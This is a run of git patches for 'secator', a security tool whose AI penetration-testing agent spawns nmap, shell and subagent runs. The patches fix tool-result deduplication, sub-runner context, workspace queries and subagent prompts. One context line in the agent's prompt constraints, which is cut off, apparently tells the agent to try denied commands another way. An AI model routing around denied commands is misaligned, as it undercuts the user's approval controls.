+ from secator.ai.tools import coerce_stringified_args + args = coerce_stringified_args("run_task", {"name": "nmap", "targets": ["a"], "opts": {"x": 1}}) + self.assertEqual(args["targets"], ["a"]) + self.assertEqual(args["opts"], {"x": 1}) + + def test_malformed_json_left_as_is(self): + from secator.ai.tools import coerce_stringified_args + args = coerce_stringified_args("run_task", {"name": "nmap", "opts": "not json"}) + self.assertEqual(args["opts"], "not json") # left for the handler to reject cleanly + + def test_scalar_string_params_not_coerced(self): + """A string-typed param (e.g. run_shell.command) must stay a string.""" + from secator.ai.tools import coerce_stringified_args + args = coerce_stringified_args("run_shell", {"command": '{"looks": "like json"}'}) + self.assertEqual(args["command"], '{"looks": "like json"}') + if __name__ == "__main__": unittest.main() From 2f7d847898fdf58f783add8eb73d53bd4bd40c35 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 4 Jul 2026 20:25:04 +0200 Subject: [PATCH 079/129] fix(exporters): handle serialized dicts in MarkdownExporter for AI reports (#1216) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The MarkdownExporter (run for every AI task report) did `item.content` over `report.data[\"results\"][\"ai\"]`, which holds **serialized dicts**, not `Ai` objects — raising `AttributeError: 'dict' object has no attribute 'content'` and failing the export for all ai-task runs. Fix: read `content` defensively (dict `.get` or object `getattr`). 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm ## Summary by CodeRabbit * **Bug Fixes** * Improved Markdown report generation to handle content more reliably. * The exporter now supports multiple result shapes and skips empty entries, reducing the chance of missing or broken output. Co-authored-by: Claude Opus 4.8 --- secator/exporters/markdown.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/secator/exporters/markdown.py b/secator/exporters/markdown.py index 0cdc8311b..2cd77bcd9 100644 --- a/secator/exporters/markdown.py +++ b/secator/exporters/markdown.py @@ -10,7 +10,14 @@ def send(self): if not ai_items: return - sections = [item.content for item in ai_items if item.content] + # report.data['results']['ai'] holds serialized dicts, not Ai objects, so + # read `content` defensively (handle both dict and OutputType forms). + def _content(item): + if isinstance(item, dict): + return item.get('content') + return getattr(item, 'content', None) + + sections = [c for item in ai_items if (c := _content(item))] if not sections: return From 9f0ddd41b52a21106114f7f0654afea360849b1d Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 5 Jul 2026 14:16:01 +0200 Subject: [PATCH 080/129] fix(ai): dedupe duplicate tool_results after compaction/batch (non-retryable 400) (#1276) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Bug (hit during CLI testing, after compaction) ``` [WRN] Chat history trimmed: dropped 10 messages to fit under 100000 tokens. [ERR] LLM call failed with non-retryable 400: ... each tool_use must have a single result. Found multiple `tool_result` blocks with id: toolu_bdrk_01Bi8... ``` Providers fold consecutive `tool` messages into a single user turn and reject more than one `tool_result` per `tool_use` id — a **non-retryable** 400 that aborts the whole run. ## Root cause `_dispatch_and_collect` grouped batch results with `itertools.groupby`, which groups only **consecutive** equal keys. In batch mode (`_run_batch`) results **interleave** by `tool_call_id` (e.g. `[X, Y, X]`), so `groupby` produced *several* groups for one id → `add_tool_result` fired more than once for it → duplicate consecutive `tool` messages → litellm folds them into one user turn with duplicate `tool_result` blocks → 400. History trim/compaction restructures the window the same way (hence the correlation with compaction). ## Fix (source + safety net) 1. **Order-preserving grouping** — group `collected` by an ordered `dict` instead of `groupby`, so each `tool_call_id` yields exactly one result regardless of arrival order (also fixes token accounting for interleaved batches). 2. **`_dedupe_tool_results`** in `_repair_orphan_tool_uses` — within each run of consecutive `tool` messages, keep the first result per id, drop the rest. Runs **proactively** before every LLM call *and* on the **400-repair-retry** path, so the "multiple tool_result blocks" 400 is now repaired + retried instead of failing fast. ## Tests `TestDedupeToolResults` (drop consecutive dup, no-op when unique, per-run scoping, repair integration) + `call_llm` duplicate-400 → repaired-and-retried. Full AI suite: **no new failures** vs branch baseline. Targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/utils.py | 36 ++++++++++++++ secator/tasks/ai.py | 14 ++++-- tests/unit/test_ai_utils.py | 97 +++++++++++++++++++++++++++++++++++++ 3 files changed, 143 insertions(+), 4 deletions(-) diff --git a/secator/ai/utils.py b/secator/ai/utils.py index 6f1eb92fb..e564ece3a 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -40,6 +40,39 @@ def _strip_leading_orphan_tools(messages: List[Dict]) -> int: return removed +def _dedupe_tool_results(messages: List[Dict]) -> int: + """Drop duplicate tool_result messages sharing a tool_call_id. + + Anthropic (and OpenRouter's providers) fold consecutive 'tool' messages into a + single user turn and reject more than one tool_result per tool_use id + ("each tool_use must have a single result. Found multiple tool_result blocks + with id X") — a NON-retryable 400. Duplicates arise when batch results are + grouped out of order (itertools.groupby only groups *consecutive* keys), or + when history trim/compaction restructures the window. Within each run of + consecutive 'tool' messages, keep the first result for each id and drop the + rest (in place). Returns the number removed. + """ + removed = 0 + i = 0 + while i < len(messages): + if messages[i].get("role") != "tool": + i += 1 + continue + seen = set() + j = i + while j < len(messages) and messages[j].get("role") == "tool": + tc_id = messages[j].get("tool_call_id") + if tc_id is not None and tc_id in seen: + del messages[j] + removed += 1 + continue # a message shifted into j; re-check without advancing + if tc_id is not None: + seen.add(tc_id) + j += 1 + i = j + return removed + + def _repair_orphan_tool_uses(messages: List[Dict]) -> int: """Repair orphan tool_use/tool_result pairing for Anthropic/OpenAI. @@ -58,6 +91,9 @@ def _repair_orphan_tool_uses(messages: List[Dict]) -> int: """ # Leading orphan tool_results have no parent in this window — drop them. repaired = _strip_leading_orphan_tools(messages) + # Duplicate tool_results for one id are rejected as a non-retryable 400 — drop + # extras so the request is valid (and, when hit as a 400, so the retry repairs it). + repaired += _dedupe_tool_results(messages) inserted = 0 i = 0 while i < len(messages): diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 9ff60abcf..1a0b2c4fd 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -2,7 +2,6 @@ """AI-powered penetration testing task.""" import json import uuid -from itertools import groupby from pathlib import Path from typing import Generator @@ -1023,11 +1022,18 @@ def _dispatch_and_collect(self, actions, ctx): collected.append(result) ctx.results.append(result) - # Group results by tool_call_id and add to history + # Group results by tool_call_id and add to history. Use an order-preserving + # dict, NOT itertools.groupby: batch results (_run_batch) interleave by id, and + # groupby only groups *consecutive* keys — so an interleaved id yielded several + # groups and thus several tool_result messages for one tool_use, which the + # provider rejects ("multiple tool_result blocks with id X"). A dict groups all + # of an id's results together regardless of arrival order → exactly one result. budget = self.history.get_action_budget(self.model) fallback_path = Path(self.reports_folder) / "report.json" if self.reports_folder else None - for tc_id, group in groupby(collected, key=lambda r: r["_context"]['tool_call_id']): - group_results = list(group) + grouped = {} + for r in collected: + grouped.setdefault(r["_context"]['tool_call_id'], []).append(r) + for tc_id, group_results in grouped.items(): tc_name = group_results[0]["_context"]['tool_call_name'] has_errors = any(r["_type"] == "error" for r in group_results) serialized = [ diff --git a/tests/unit/test_ai_utils.py b/tests/unit/test_ai_utils.py index 8140bde4e..70b587de8 100644 --- a/tests/unit/test_ai_utils.py +++ b/tests/unit/test_ai_utils.py @@ -296,6 +296,45 @@ def side_effect(**kwargs): self.assertEqual(mock_completion.call_count, 2) # repaired then succeeded mock_sleep.assert_not_called() # repair skips the backoff + @patch('time.sleep') + @patch('litellm.completion') + def test_call_llm_duplicate_tool_result_400_repairs_and_retries(self, mock_completion, mock_sleep): + """A 'multiple tool_result blocks with id' 400 is now deduped and retried, + instead of failing fast as non-retryable.""" + import litellm + from secator.ai.utils import call_llm + + ok_response = MagicMock() + ok_response.choices = [MagicMock(message=MagicMock(content="ok", tool_calls=None))] + ok_response.usage = None + + err = litellm.BadRequestError( + message=("messages.24.content.3: each tool_use must have a single result. " + "Found multiple tool_result blocks with id: toolu_dup"), + model="claude", llm_provider="anthropic", + ) + calls = [] + + def side_effect(**kwargs): + if not calls: # first call: inject an assistant + duplicate tool_results, then raise + kwargs["messages"][:0] = [ + {"role": "assistant", "content": None, + "tool_calls": [{"id": "toolu_dup", "type": "function", + "function": {"name": "f", "arguments": "{}"}}]}, + {"role": "tool", "tool_call_id": "toolu_dup", "name": "f", "content": "r1"}, + {"role": "tool", "tool_call_id": "toolu_dup", "name": "f", "content": "r2"}, + ] + calls.append(1) + raise err + return ok_response + + mock_completion.side_effect = side_effect + result = call_llm([{"role": "user", "content": "hi"}], "claude", max_retries=3) + + self.assertEqual(result["content"], "ok") + self.assertEqual(mock_completion.call_count, 2) # deduped then succeeded + mock_sleep.assert_not_called() + @patch('time.sleep') @patch('litellm.completion') @patch('litellm.completion_cost') @@ -560,5 +599,63 @@ def completion_side_effect(**kwargs): mock_sleep.assert_not_called() # repair branch should skip the backoff sleep +class TestDedupeToolResults(unittest.TestCase): + """Providers reject >1 tool_result per tool_use id ('multiple tool_result blocks + with id X') — a non-retryable 400. Duplicates arise from batch results grouped + out of order or history trim/compaction; drop the extras, keep the first.""" + + def test_drops_consecutive_duplicate_same_id(self): + from secator.ai.utils import _dedupe_tool_results + messages = [ + {"role": "assistant", "content": None, + "tool_calls": [{"id": "x", "type": "function", "function": {"name": "f", "arguments": "{}"}}]}, + {"role": "tool", "tool_call_id": "x", "name": "f", "content": "first"}, + {"role": "tool", "tool_call_id": "y", "name": "f", "content": "other"}, + {"role": "tool", "tool_call_id": "x", "name": "f", "content": "DUP"}, + {"role": "user", "content": "next"}, + ] + removed = _dedupe_tool_results(messages) + self.assertEqual(removed, 1) + tool_ids = [m["tool_call_id"] for m in messages if m.get("role") == "tool"] + self.assertEqual(tool_ids, ["x", "y"]) # first x kept, dup dropped, y intact + # the kept x is the FIRST result + self.assertEqual(next(m for m in messages if m.get("tool_call_id") == "x")["content"], "first") + + def test_no_op_when_unique(self): + from secator.ai.utils import _dedupe_tool_results + messages = [ + {"role": "tool", "tool_call_id": "a", "content": "1"}, + {"role": "tool", "tool_call_id": "b", "content": "2"}, + ] + before = [dict(m) for m in messages] + self.assertEqual(_dedupe_tool_results(messages), 0) + self.assertEqual(messages, before) + + def test_dedupe_scoped_per_consecutive_run(self): + """The same id in two SEPARATE tool runs (own assistant each) is not a dup.""" + from secator.ai.utils import _dedupe_tool_results + messages = [ + {"role": "tool", "tool_call_id": "x", "content": "r1"}, + {"role": "assistant", "content": "thinking"}, + {"role": "tool", "tool_call_id": "x", "content": "r2"}, + ] + self.assertEqual(_dedupe_tool_results(messages), 0) # separated by a non-tool msg + + def test_repair_dedupes_duplicate_tool_results(self): + """_repair_orphan_tool_uses now removes duplicates as part of its pass.""" + from secator.ai.utils import _repair_orphan_tool_uses + messages = [ + {"role": "assistant", "content": None, + "tool_calls": [{"id": "x", "type": "function", "function": {"name": "f", "arguments": "{}"}}]}, + {"role": "tool", "tool_call_id": "x", "name": "f", "content": "first"}, + {"role": "tool", "tool_call_id": "x", "name": "f", "content": "DUP"}, + {"role": "user", "content": "next"}, + ] + changed = _repair_orphan_tool_uses(messages) + self.assertGreaterEqual(changed, 1) + tool_ids = [m["tool_call_id"] for m in messages if m.get("role") == "tool"] + self.assertEqual(tool_ids, ["x"]) # exactly one result for x + + if __name__ == '__main__': unittest.main() From f74908e63ba7fb20937de2911c87366d6b143691 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 5 Jul 2026 17:04:17 +0200 Subject: [PATCH 081/129] fix(ai): ai-spawned sub-runners persist their own runner doc, linked by session_id (#1277) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## What / why (PR 2 of the runner-parenting design — core foundation) AI-task-spawned sub-runners (nmap, httpx, subagents, …) run and their **findings** persist, but the sub-runner itself never created its **own** runner doc — so it never appeared in runner history. Root cause: the child inherited the parent ai task's `context.task_id`, so `update_runner`/`runner_id` targeted the *parent's* doc instead of minting a new one. ## Fix `_get_result_context` now builds a **clean child context**: strips the parent's runner-identity keys (`task_id`/`workflow_id`/`scan_id`/`task_chunk_id`), keeps `session_id`/`drivers`/`workspace_*`. Each child now takes `update_runner`'s insert branch → mints its own doc, linked to the conversation by `context.session_id`. ## Verified (empirical) Probe (`secator x ai -p "Run nmap … on scanme.nmap.org" --dangerous -driver mongodb -ws …`): - **Before:** 0 non-ai task docs under the session. - **After:** the `nmap` child persists with its own `_id` (≠ parent), `context.task_id` = its own, `context.session_id` = the conversation, `status=SUCCESS`. ## Tests `TestChildContextParenting` (child context keeps session/drivers/workspace, sets `has_parent`, strips the four identity keys). `test_ai_actions.py` 85/85; no new failures vs branch baseline. ## Not in this PR (design's later phases, go through the user) - **secator-api:** a `GET /ai/conversations/{session_id}/runners` list resolver (unions tasks/workflows/scans by `context.session_id`). - **secator-ui:** group a conversation's runners under it. - **Open decision (API/UI phase):** whether ai children should also carry the *behavioral* top-level `has_parent` (controls whether they show as top-level in the general runner history vs nested). The persisted `has_parent` is currently `false`; parenting-by-`session_id` works regardless. Part of the AI-task reliability series → `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) --- secator/ai/actions.py | 20 +++++++++++--------- tests/unit/test_ai_actions.py | 31 +++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 9 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 0cac0563b..b3a4154d8 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -647,19 +647,21 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator def _get_result_context(action, ctx): - """Get result context from action. - - Always stamps the ai task's ``session_id`` (the conversation id) onto the - derived context. The ai task's ``self.session_id`` may be derived (from - ``session_name`` / the runner id) and is therefore not guaranteed to already - live in ``ctx.context``. Stamping it here means every sub-runner (task / - workflow / scan) dispatched by the ai task persists a runner doc whose - ``context.session_id`` matches the conversation — so the runners spawned by a - conversation are queryable by that conversation's session_id. + """Build the CHILD runner's context. + + Stamps the conversation ``session_id`` (parenting link — see the runner-parenting + design) and marks the child ``has_parent``. Critically, it STRIPS the parent's + runner-identity keys (`task_id`/`workflow_id`/`scan_id`): a child that inherited + them would make `update_runner`/`runner_id` target the PARENT's doc instead of + minting its own. The child keeps drivers/workspace so it persists into the same + workspace, linked to the conversation by ``session_id``. """ new_ctx = ctx.context.copy() + for identity_key in ("task_id", "workflow_id", "scan_id", "task_chunk_id"): + new_ctx.pop(identity_key, None) if ctx.session_id and not new_ctx.get("session_id"): new_ctx["session_id"] = ctx.session_id + new_ctx["has_parent"] = True action_context = {} tool_call_id = action.get("tool_call_id") tool_call_name = action.get("tool_call_name") diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 21bc7e6bf..b8c955f52 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -1280,5 +1280,36 @@ def test_normal_depth1_spawn_succeeds(self, mock_build_hooks, mock_task_cls, _mo self.assertEqual(kwargs.get('context', {}).get('ai_subagent_depth'), 1) +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestChildContextParenting(unittest.TestCase): + """A spawned sub-runner must get a CLEAN identity: it inherits the conversation + session_id + drivers but NOT the parent's runner-doc id, so it mints its own doc + (linked to the conversation by session_id), instead of clobbering the parent.""" + + def test_child_context_strips_parent_identity_keeps_session(self): + from secator.ai.actions import _get_result_context, ActionContext + ctx = ActionContext( + targets=['t.com'], model='m', + context={ + 'workspace_id': 'ws1', 'workspace_name': 'w', 'drivers': ['mongodb'], + 'task_id': 'PARENT_AI_ID', # the parent ai task's own doc id + 'session_id': 'conv-1', + }, + session_id='conv-1', + ) + action = {'action': 'task', 'name': 'nmap', 'tool_call_id': 'tc1', 'tool_call_name': 'run_task'} + child = _get_result_context(action, ctx) + # keeps the conversation link + drivers/workspace + self.assertEqual(child['session_id'], 'conv-1') + self.assertEqual(child['drivers'], ['mongodb']) + self.assertEqual(child['workspace_id'], 'ws1') + # marks it a child + self.assertTrue(child.get('has_parent')) + # does NOT inherit the parent's runner-doc identity (would clobber / suppress its own doc) + self.assertNotIn('task_id', child) + self.assertNotIn('workflow_id', child) + self.assertNotIn('scan_id', child) + + if __name__ == '__main__': unittest.main() From 3a5c2aefdccc3140be4c1062ec8f38c120fb2c37 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 5 Jul 2026 18:33:28 +0200 Subject: [PATCH 082/129] fix(ai): make query_workspace the single source of truth (local-driver union) (#1278) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Why (diagnosed from a live run) Asked "What's in my workspace", the model correctly ran `query_workspace` — then `cd`'d into `~/.secator/reports/.../tasks/18/.outputs/` and `cat | jq`'d local JSON to count finding types. Two causes: 1. **Local-driver gap:** the JSON exporter writes findings to disk only at *end-of-run*, so mid-run `query_workspace` (local backend) sees nothing — the prompt compensated by telling the model where the report files live. 2. **Prompt framing:** "the runner folder … is where we store all inputs/outputs" invited the model to *read* those files to find data — a different, possibly stale store than the workspace it queried (outright wrong under `--driver mongodb`/cloud). ## Fix — Query is the single source of truth - **Local driver only:** `_handle_query` unions the backend results with this run's in-memory findings (`ctx.results`), filtered by the same query and deduped by `_uuid`. **mongodb/api are unchanged** (hooks persist live → no union needed). The local driver is also exempted from the `workspace_id` guard (it can answer from in-memory results). - **Prompt (`common.txt`):** keep "write generated outputs to `$workspace_path/.outputs/`"; drop the "we store all inputs/outputs here" framing; add "ALWAYS use `query_workspace` — the single source of truth; do NOT read local report files to find findings." ## Tests `_union_live_results` (filter+merge+dedup), local-driver unions live results, mongodb does NOT union, local exempt from the workspace guard, and the updated `no_workspace` guard test (now scoped to non-local backends). Full AI suite: no new failures. Targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 40 +++++++++++++- secator/ai/prompts/constraints/common.txt | 4 +- tests/unit/test_ai_actions.py | 63 ++++++++++++++++++++++- 3 files changed, 102 insertions(+), 5 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index b3a4154d8..1fd07a099 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -717,6 +717,31 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: yield Error(message=f"Shell command failed: {e}", _context=context) +def _union_live_results(persisted: List[Dict], live_results: List[Dict], query_filter: Dict, limit: int) -> List[Dict]: + """Union backend results with this run's in-memory findings (local driver only). + + The live findings are filtered by the SAME query via an in-memory json backend, + then merged into the backend (disk) results and deduped by ``_uuid`` (backend wins), + respecting ``limit``. Makes query_workspace the single source of truth under the + local driver, whose JSON exporter only writes to disk at end-of-run. + """ + if not live_results: + return persisted + from secator.query import QueryEngine + # workspace_id "" + a `results` context => an in-memory json backend that filters + # the provided results by the query (no disk access). + live = QueryEngine("", context={"results": live_results}).search(query_filter, limit=limit or 0) + seen = {r.get("_uuid") for r in persisted if r.get("_uuid")} + for r in live: + u = r.get("_uuid") + if u and u in seen: + continue + persisted.append(r) + if u: + seen.add(u) + return persisted[:limit] if limit else persisted + + def _handle_query(action: Dict, ctx: ActionContext) -> Generator: """Query workspace or current results for findings. @@ -755,14 +780,25 @@ def _handle_query(action: Dict, ctx: ActionContext) -> Generator: if ctx.encryptor: query_filter = _decrypt_dict(query_filter, ctx.encryptor) - if ctx.scope != "current" and not ctx.context.get("workspace_id"): + engine = ctx.get_query_engine() + is_local = getattr(engine.backend, "name", "") == "json" + + # A non-local backend (mongodb/api) needs a workspace to query. The local (json) + # driver can always answer from this run's in-memory findings (unioned below), so + # it is exempt from the workspace_id requirement. + if not is_local and ctx.scope != "current" and not ctx.context.get("workspace_id"): yield Warning(message="No workspace available for query", _context=context) return try: query_str = json.dumps(query_filter, separators=(',', ':')) - engine = ctx.get_query_engine() results = engine.search(query_filter, limit=limit) + # Local driver: the JSON exporter writes findings to disk only at end-of-run, + # so the backend can't see THIS run's live findings mid-run. Union the in-memory + # run results so query_workspace is the single source of truth. Other backends + # (mongodb/api) persist live via hooks, so they are queried normally (no union). + if is_local and ctx.scope != "current": + results = _union_live_results(results, ctx.results or [], query_filter, limit) yield Ai( content=query_str, ai_type="query", diff --git a/secator/ai/prompts/constraints/common.txt b/secator/ai/prompts/constraints/common.txt index 6fb53aab6..fd0a6de6e 100644 --- a/secator/ai/prompts/constraints/common.txt +++ b/secator/ai/prompts/constraints/common.txt @@ -73,8 +73,8 @@ When getting denied to run a command many times, you can also try it to run it i -The runner folder is: $workspace_path. This is where we store all inputs / outputs from the current run. -You can request to read or write files outside the workspace but this require user approval so when possible prefer to read / write to the runner folder. +Write any files you generate (e.g. a markdown report) to the runner folder's outputs directory: $workspace_path/.outputs/. Prefer this location; reading or writing files elsewhere requires user approval. +To find existing findings/results, ALWAYS use the query_workspace tool — it is the single source of truth for the workspace and already covers this run's live findings. Do NOT read local report files (e.g. via cat/jq) to look up findings. diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index b8c955f52..84cf0821f 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -252,8 +252,14 @@ class TestHandleQuery(unittest.TestCase): """Tests for the _handle_query action handler.""" def test_query_no_workspace(self): + """A NON-local backend (mongodb/api) without a workspace_id yields the + 'No workspace' guard. The local driver is exempt (it answers from in-memory + results — see test_query_local_driver_exempt_from_workspace_guard).""" + mock_engine = MagicMock() + mock_engine.backend.name = "mongodb" ctx = ActionContext(targets=['t.com'], model='m', context={}) - results = list(_handle_query({'action': 'query', 'query': {}}, ctx)) + with patch.object(ctx, 'get_query_engine', return_value=mock_engine): + results = list(_handle_query({'action': 'query', 'query': {}}, ctx)) self.assertEqual(len(results), 1) self.assertIsInstance(results[0], Warning) @@ -363,6 +369,61 @@ def test_query_decrypts_filter(self): call_args = mock_engine.search.call_args[0][0] self.assertEqual(call_args['host'], 'example.com') + def test_union_live_results_dedup_and_filter(self): + """_union_live_results filters live by the query, merges into backend results, + and dedupes by _uuid (backend wins).""" + from secator.ai.actions import _union_live_results + persisted = [{"_uuid": "a", "_type": "port"}] + live = [{"_uuid": "a", "_type": "port"}, # dup -> deduped + {"_uuid": "b", "_type": "port"}, # new -> included + {"_uuid": "c", "_type": "url"}] # wrong type -> filtered out by the query + out = _union_live_results(list(persisted), live, {"_type": "port"}, 100) + self.assertEqual(sorted(r["_uuid"] for r in out), ["a", "b"]) + # no live results -> persisted returned unchanged + self.assertEqual(_union_live_results([{"_uuid": "z"}], [], {}, 0), [{"_uuid": "z"}]) + + def test_query_local_driver_unions_live_results(self): + """Local (json) driver: query_workspace unions this run's in-memory findings + with the backend (JSON exporter only writes to disk at end-of-run).""" + mock_engine = MagicMock() + mock_engine.backend.name = "json" + mock_engine.search.return_value = [{"_uuid": "disk1", "_type": "port", "_context": {}}] + ctx = ActionContext(targets=['t'], model='m', context={'workspace_id': 'ws1'}, + results=[{"_uuid": "live1", "_type": "port", "_context": {}}]) + with patch.object(ctx, 'get_query_engine', return_value=mock_engine): + results = list(_handle_query({'action': 'query', 'query': {'_type': 'port'}}, ctx)) + uuids = {r.get('_uuid') for r in results if isinstance(r, dict)} + self.assertIn('disk1', uuids) # backend result + self.assertIn('live1', uuids) # unioned live in-memory result + + def test_query_mongodb_driver_does_not_union(self): + """Non-local backend (mongodb) is queried normally — live self.results are NOT unioned.""" + mock_engine = MagicMock() + mock_engine.backend.name = "mongodb" + mock_engine.search.return_value = [{"_uuid": "db1", "_type": "port", "_context": {}}] + ctx = ActionContext(targets=['t'], model='m', context={'workspace_id': 'ws1'}, + results=[{"_uuid": "live1", "_type": "port", "_context": {}}]) + with patch.object(ctx, 'get_query_engine', return_value=mock_engine): + results = list(_handle_query({'action': 'query', 'query': {'_type': 'port'}}, ctx)) + uuids = {r.get('_uuid') for r in results if isinstance(r, dict)} + self.assertIn('db1', uuids) + self.assertNotIn('live1', uuids) # not unioned for non-local backends + + def test_query_local_driver_exempt_from_workspace_guard(self): + """Local driver with NO workspace_id is not blocked by the 'No workspace' guard — + it answers from in-memory results.""" + mock_engine = MagicMock() + mock_engine.backend.name = "json" + mock_engine.search.return_value = [] + ctx = ActionContext(targets=['t'], model='m', context={}, # no workspace_id + results=[{"_uuid": "live1", "_type": "port", "_context": {}}]) + with patch.object(ctx, 'get_query_engine', return_value=mock_engine): + results = list(_handle_query({'action': 'query', 'query': {'_type': 'port'}}, ctx)) + warnings = [r for r in results if isinstance(r, Warning)] + self.assertFalse(any('No workspace' in getattr(w, 'message', '') for w in warnings)) + uuids = {r.get('_uuid') for r in results if isinstance(r, dict)} + self.assertIn('live1', uuids) + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestRunRunner(unittest.TestCase): From 0fc7db32757dcac84fc0e556afddd794ae498a50 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 5 Jul 2026 21:20:31 +0200 Subject: [PATCH 083/129] feat(ai): structured evidence-backed subagent prompt + parent-LLM inheritance (PR1 1.b/1.c) (#1279) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## What (PR 1, parts 1.b + 1.c + a subagent-runnability fix) **1.b/1.c — structured, evidence-backed subagent prompt.** When the ai task spawns a subagent, its prompt becomes a **structured** template whose "already known" section is **auto-assembled** from workspace findings for the subagent's target(s), so it doesn't redo work. - `build_subagent_prompt(objective, targets, evidence)` — wraps the LLM-supplied objective (**verbatim**) in `## Objective / ## Scope / ## Already known (do not re-run) / ## Expected output`. - `_gather_subagent_evidence(ctx, targets, limit=40)` — queries the workspace (single source of truth incl. this run's live findings, per #1278) for findings matching the targets; token-bounded; **best-effort** (failure → `""`, never breaks the spawn). - Wired into `_run_runner`'s `name=="ai"` branch. **1.a (permissions) untouched** — out of scope. **Subagent LLM inheritance (fold-in).** E2E testing surfaced that a spawned subagent fell back to `CONFIG.addons.ai.default_model` — a different provider than the parent (anthropic-direct vs openrouter) with no key → `AuthenticationError` before it ran, so **subagents never actually ran**. Fixed: carry the parent's resolved `model`/`api_key`/`api_base` on `ActionContext` and `setdefault` them onto the child opts at spawn (explicit LLM-supplied model still wins). ## Verification - Unit: `TestBuildSubagentPrompt`, `TestGatherSubagentEvidence`, and `TestRunRunner` tests for the structured prompt + LLM inheritance (+ explicit-model-wins). `test_ai_actions.py` **97 passed**; no new failures vs baseline. - **E2E** (live subagent run): subagent runs to **SUCCESS** (no AuthError), receives the structured prompt with **all four sections**, and its spawned nmap **nests** under the conversation via `session_id`. ## Known limitation (accepted, v1) The `$or` host/ip/url evidence match is exact — `matched_at`-only findings on URL-only targets aren't gathered yet (deliberate follow-up). Part of the AI-task series → `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 60 +++++++++++++++++++ secator/tasks/ai.py | 2 + tests/unit/test_ai_actions.py | 110 ++++++++++++++++++++++++++++++++++ 3 files changed, 172 insertions(+) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 1fd07a099..c2c1def39 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -28,6 +28,8 @@ class ActionContext: """ targets: List[str] model: str + api_key: str = "" + api_base: str = "" encryptor: Any = None dry_run: bool = False verbose: bool = False @@ -525,6 +527,50 @@ def _sanitize_child_opts(opts: Any) -> Dict: return clean +def build_subagent_prompt(objective: str, targets: list, evidence: str) -> str: + """Wrap the LLM-supplied subagent objective in a structured prompt. + + The `objective` is used verbatim (the parent LLM's intent). `targets` scopes + the work; `evidence` (auto-gathered, may be empty) is prior findings the + subagent should NOT re-discover. + """ + targets_str = ", ".join(str(t) for t in targets) if targets else "(inherit parent scope)" + evidence_block = evidence.strip() if evidence.strip() else "(none — no prior findings for this scope)" + return ( + f"## Objective\n{objective.strip() or '(no explicit objective given)'}\n\n" + f"## Scope\nWork ONLY within these target(s): {targets_str}\n\n" + f"## Already known (do not re-run tools that would re-discover these)\n{evidence_block}\n\n" + f"## Expected output\nInvestigate the objective, then report your findings concisely. " + f"Persist any new findings; do not repeat work already listed under 'Already known'." + ) + + +def _gather_subagent_evidence(ctx: "ActionContext", targets: list, limit: int = 40) -> str: + """Auto-assemble prior findings for the subagent's targets so it doesn't redo work. + + Queries the workspace (the single source of truth — incl. this run's live findings) + for findings whose host/ip/url match any target, capped at `limit`. Best-effort: + any failure returns "" (evidence is a nicety, never a blocker). + """ + targets = [t for t in (targets or []) if t] + if not targets: + return "" + query = {"$or": [{"host": {"$in": targets}}, {"ip": {"$in": targets}}, {"url": {"$in": targets}}]} + try: + results = ctx.get_query_engine().search(query, limit=limit) or [] + except Exception: # noqa: BLE001 - evidence is best-effort; never break the spawn + return "" + lines = [] + for r in results[:limit]: + d = r.toDict() if hasattr(r, "toDict") else r + t = d.get("_type", "finding") + key = d.get("url") or d.get("matched_at") or f"{d.get('ip','') or d.get('host','')}" + extra = f":{d.get('port')}" if d.get("port") else "" + name = f" {d.get('name')}" if d.get("name") else "" + lines.append(f"- {t} {key}{extra}{name}".rstrip()) + return "\n".join(lines) + + def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator: """Execute a secator task or workflow. @@ -548,6 +594,20 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator return opts["subagent"] = True opts["interactive"] = False + # Inherit the parent's resolved LLM config so the subagent can actually run. + # Without this it falls back to CONFIG.addons.ai.default_model, which may be a + # different provider than the parent (e.g. anthropic-direct vs openrouter) 